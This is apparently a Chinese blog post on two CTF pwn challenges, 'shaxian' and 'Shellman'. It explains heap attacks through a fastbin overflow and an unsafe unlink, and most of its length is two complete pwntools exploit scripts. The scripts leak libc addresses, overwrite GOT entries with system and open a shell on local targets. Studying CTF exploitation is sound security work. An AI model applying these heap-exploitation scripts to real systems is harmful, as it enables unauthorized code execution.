• 见微知著(三):解析ctf中的pwn--Fastbin和bins的溢出


      1月1号写博客,也是不容易呀!大家新年快乐呀!

      先从Fastbin看起,是2015年RCTF的一道pwn题,shaxian。先看看代码的大致流程,随便输入一下:

      

      这个题目关键之处在于堆溢出,对于堆种类的选择,由于分配堆之后直接就进行写了,所以,使用fastbin。

      

      关于fastbin的具体使用,前文已经将的很清楚了。这里主要是覆盖now指针,然后就可以任意读写了,exp如下:

    from pwn import *
    
    DEBUG = 1
    LOCAL = 1 
    VERBOSE = 1
    atoi_got = 0x804b038
    
    #bss_address = 0x0804b400
    if LOCAL:
        r = process("shaxian")
    else:
        r = remote('127.0.0.1',1001)
    
    if DEBUG:
        gdb.attach(r)
    
    if VERBOSE:
        context(log_level='debug')
    
    def dcai(payload,number=0):
            r.sendline('1')
            r.recvuntil('Jianjiao')
            r.sendline(payload)
            r.recvuntil('How many?')
            r.sendline(str(number))
            r.recvuntil('choose:')
    
    def submit():
            r.sendline('2')
            r.recvuntil('Your order has been submitted!')
            r.recvuntil('choose:')
     
    r.recvuntil("Address:")
    r.sendline(p32(0)+p32(0x31))
    r.recvuntil('Your Phone number:')
    r.sendline("a"*0xf0+p32(0)+p32(0x31))
    r.recvuntil('choose:')
    
    payload = 'B'*24+p32(0)+p32(0x31)+p32(0x804b02c) #puts
    dcai(payload)
    r.sendline('4')
    r.recvuntil('* ')
    r.recvuntil('* ')
    puts = int(r.recvuntil('
    ').strip('
    '))&0xffffffff
    
    libc = puts - 0x657e0
    print 'libc:',hex(libc)
    system = libc + 0x40310
    print 'system:',hex(system)
    #atoi函数不能转换大于7fffffff的值,而加载地址前8位不变,所以可以只选择覆盖前24为
    low8_system = (system<<8)%pow(2,32)   
    payload = 'C'*24+p32(0)+p32(0x31)+p32(0x804b1b8)
    dcai(payload)
    raw_input('before')
    submit() 
    raw_input('after')
    payload = "a"*4                    
    payload += p32(atoi_got-1)
    dcai(payload,low8_system)
    
    r.sendline('/bin/sh')
    
    r.interactive()
    r.sendline('ls')
    r.recv()

      关于bins的溢出的话,用Shellman这个pwn题来理解,其实这个前文的freenote非常相似,而且简单了很多,不多说,直接放exp,这三篇文章的二进制文件直接放在github里面了:

    from pwn import *
    
    DEBUG = 0
    LOCAL = 1
    VERBOSE = 1
    
    
    if LOCAL:
        p = process('./shellman')
    else:
        p = remote('127.0.0.1',6666)
        
    if DEBUG:
        gdb.attach(p)
    
    if VERBOSE:
        context(log_level='debug')
    
    p.recvuntil('>')
        
    def list_():
        p.sendline('1')
        k = p.recvuntil('>')
        return k
    
    def new(payload):
        p.sendline('2')
        p.recvuntil('Length of new shellcode:')
        p.sendline(str(len(payload)))
        p.recvuntil('Enter your shellcode(in raw format):')
        p.send(payload)
        p.recvuntil('>')
        
    def edit(payload,num=0):
        p.sendline('3')
        p.recvuntil('Shellcode number:')
        p.sendline(str(num))
        p.recvuntil('Length of shellcode:')
        p.sendline(str(len(payload)))
        p.recvuntil('Enter your shellcode:')
        p.send(payload)
        p.recvuntil('>')
        
    def delete(num=0):
        p.sendline('4')
        p.recvuntil('Shellcode number:')
        p.sendline(str(num))
        p.sendline(str(num))
        
    first_size = 0x30
    second_size = 0xa0
        
    new( 'a' * first_size)                        #at 0x0079e010
    new( 'b' * second_size)                    #at 0x0079e050
    new( '/bin/sh;')
    
    PREV_IN_USE = 0x1
    prev_size_0 = p64(0)
    size_0 = p64(first_size | PREV_IN_USE)            
    fd_0 = p64(0x006016d0 - 0x18)                            #bk offset
    bk_0 = p64(0x006016d0 - 0x10)                            #fd offset
    user_data = 'm' * (first_size - 0x20)                    #0x20 = chunk header size
    prev_size_1 = p64(first_size)
    size_1 = p64((second_size + 0x10) & (~PREV_IN_USE))        #make first chunk free
        
    edit(prev_size_0 + size_0 + fd_0 + bk_0 + user_data + prev_size_1 + size_1)    
        #begin
    delete(1)    
        #after unlink then *0x6016d0 == 0x6016b8, let's corrupt 0x6016d0 with libc_free_got
    rubbish = 'whatthis'
    is_shellcode_exist = p64(0x1)
    shellcode_size = p64(0x8)
    libc_free_got = p64(0x00601600)
        
    edit(rubbish + is_shellcode_exist + shellcode_size + libc_free_got)
    free_address = list_().split(': ')[1][0:16]
    
    
    free_address = int(''.join(free_address[i:i+2] for i in range(14,-2,-2)),16)
    print 'free_address:',hex(free_address)
    libc= free_address - 0x82d00
    print 'libc_address:',hex(libc)
    system = libc + 0x46590
    print 'system_address:',hex(system)    
    edit(p64(system))
        
        #just free
    delete(2)
    p.interactive()
  • 相关阅读:
    Java8性能优化之字符串拼接
    Java8字符串分割的几种方式及性能比较
    【Collections:集合工具类:常用方法】
    【ArrayList嵌套HashMap】
    【集合工具类:Collections】
    【HashMap 嵌套 HashMap】
    【HashMap 嵌套 ArrayList】
    【TreeMapDemo】
    【LinkedHashMap】
    【TreeMap】
  • 原文地址:https://www.cnblogs.com/0xJDchen/p/6240786.html
Copyright © 2020-2023  润新知